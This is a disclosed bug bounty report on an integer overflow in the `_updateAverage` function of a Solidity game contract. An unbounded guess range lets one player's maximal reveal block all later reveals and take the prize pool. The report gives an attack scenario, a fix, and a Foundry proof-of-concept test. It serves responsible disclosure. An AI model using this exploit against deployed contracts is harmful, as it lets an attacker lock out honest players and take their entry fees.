Status DataClose notification

Majority Games Disclosed Report

Unbounded Guess Range in `IntegerMajorityPrompt` Leads to Denial of Service and Unfair Prize Distribution

Created date

Target

hidden

Vulnerability Details

Vulnerability Details

The IntegerMajorityPrompt contract, which calculates a running average of player guesses, is vulnerable to an arithmetic overflow. The root cause is the lack of enforced boundaries on the range a creator can set for a question's valid guesses. This allows for a Denial of Service (DoS) attack where a single malicious participant can prevent others from successfully revealing their answers.

The issue resides in the _updateAverage function:

// src/prompt/IntegerMajorityPrompt.sol:139-144
function _updateAverage(uint256 questionId, int256 guess) internal {
    Prompt storage q = revealedQuestions[questionId];
    q.sumOfGuesses += guess; // <-- VULNERABLE LINE
    q.totalRevealedAnswers++;
    q.average = q.sumOfGuesses / int32(q.totalRevealedAnswers);
}

Because a game creator can set the range to include extremely large values (e.g., [1, type(int256).max]), the q.sumOfGuesses += guess operation can easily overflow and revert. Furthermore, players join a game "blind," as the question's range is only revealed when the game starts, not when players join. They have no way to know they are entering a game with a malicious configuration.

Impact & Attack Scenario

A malicious creator or a knowledgeable attacker can exploit this to lock out other players and manipulate the game's outcome, leading to an unfair distribution of the prize pool and direct financial loss for honest participants.

Attack Scenario:

  1. A malicious creator creates a game using the IntegerMajorityPrompt strategy. When defining the question, they set the valid guess range to [1, type(int256).max].
  2. Honest players join the game, contributing their entry fees to the prize pool, unaware of the extreme range.
  3. The game starts, and the question is revealed. An attacker (who could be the creator) immediately commits and reveals a guess of type(int256).max.
  4. The attacker's revealReaction call succeeds. The sumOfGuesses in the contract is now type(int256).max.
  5. A second, honest player attempts to reveal their legitimate (and much smaller) positive guess, for example, 100.
  6. The contract attempts to calculate sumOfGuesses += 100, which overflows the int256 type. The transaction reverts.
  7. Result: The honest player, and every subsequent player with a positive guess, is permanently blocked from revealing their answer. The attacker remains the only participant with a valid revealed guess, heavily skewing the final average and ensuring they win the game. Honest players lose their entry fees.

Recommendations

The contract must be hardened to prevent arithmetic overflows by enforcing reasonable limits on player inputs.

Enforce Bounds on Guess Range

The most direct fix is to validate the range when a question is revealed. By enforcing a sane upper and lower bound, the possibility of an overflow in the sum can be eliminated.

  • Implementation: In the revealQuestion function of src/prompt/IntegerMajorityPrompt.sol, add a check to ensure the provided range is within acceptable limits.

    // In IntegerMajorityPrompt.sol, define a constant
    int256 private constant MAX_GUESS_VALUE = 1e18; // Example limit
    
    // In revealQuestion function
    function revealQuestion(bytes memory question, uint256 questionId) external {
        Prompt memory q = abi.decode(question, (Prompt));
        // ... existing checks ...
    
        // --- SUGGESTED ADDITION START ---
        require(q.range[0] >= -MAX_GUESS_VALUE && q.range[1] <= MAX_GUESS_VALUE, "RangeOutOfBounds");
        // --- SUGGESTED ADDITION END ---
    
        // ... rest of the function ...
    }
    

Validation steps

Here is a small PoC you can add to IntegerMajorityPrompt.t.sol that proves the issues and how users can't foresee it which makes it easily abusable.

      function setExtremeRangeQuestion(uint256 questionId) public {
        revealedAt[questionId] = block.timestamp;
        revealedQuestions[questionId] = IntegerMajorityPrompt.Prompt({
            sessionManager: sessionManager,
            questionText: "Extreme range question",
            media: new string[](0),
            reactionDeadline: 3600,
            average: 0,
            totalRevealedAnswers: 0,
            sumOfGuesses: 0,
            range: [int256(1), type(int256).max]
        });
    }
		
 
 // PoC: First reveal at int256.max makes subsequent positive reveals overflow and revert
    function test_overflow_grief_first_reveal_blocks_others() public {
        // Prepare question with range [1, int256.max]
        integerMajority.setExtremeRangeQuestion(777);

        uint256 sessionId = 1; // arbitrary for hashing; mocked path already treats sessionManager as caller
        uint256 qId = 777;

        // First participant commits to int256.max and reveals successfully (single prank scope)
        bytes32 commitMax = keccak256(abi.encodePacked(sessionId, qId, type(int256).max, uint256(111)));
        vm.startPrank(sessionManager);
        integerMajority.commitReaction(sessionId, qId, commitMax, contestants[0]);
        integerMajority.revealReaction(sessionId, qId, abi.encode(type(int256).max), 111, contestants[0]);
        vm.stopPrank();

        // Sanity: only one reveal recorded, sum sits at int256.max
        (,,, int256 avgAfterFirst, uint32 totalAfterFirst, int256 sumAfterFirst) = integerMajority.revealedQuestions(qId);
        assertEq(totalAfterFirst, 1);
        assertEq(sumAfterFirst, type(int256).max);
        assertEq(avgAfterFirst, type(int256).max);

        // Second participant commits to a small positive value (within range)
        int256 secondGuess = int256(1);
        bytes32 commitOne = keccak256(abi.encodePacked(sessionId, qId, secondGuess, uint256(222)));
        vm.startPrank(sessionManager);
        integerMajority.commitReaction(sessionId, qId, commitOne, contestants[1]);
        // Reveal should revert due to sum overflow (int256.max + 1)
        vm.expectRevert();
        integerMajority.revealReaction(sessionId, qId, abi.encode(secondGuess), 222, contestants[1]);
        vm.stopPrank();

        // Third participant: also blocked
        int256 thirdGuess = int256(2);
        bytes32 commitTwo = keccak256(abi.encodePacked(sessionId, qId, thirdGuess, uint256(333)));
        vm.startPrank(sessionManager);
        integerMajority.commitReaction(sessionId, qId, commitTwo, contestants[2]);
        vm.expectRevert();
        integerMajority.revealReaction(sessionId, qId, abi.encode(thirdGuess), 333, contestants[2]);
        vm.stopPrank();
    }

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty$2,008
Visibilitypartially
VulnerabilityOther
Participants
hidden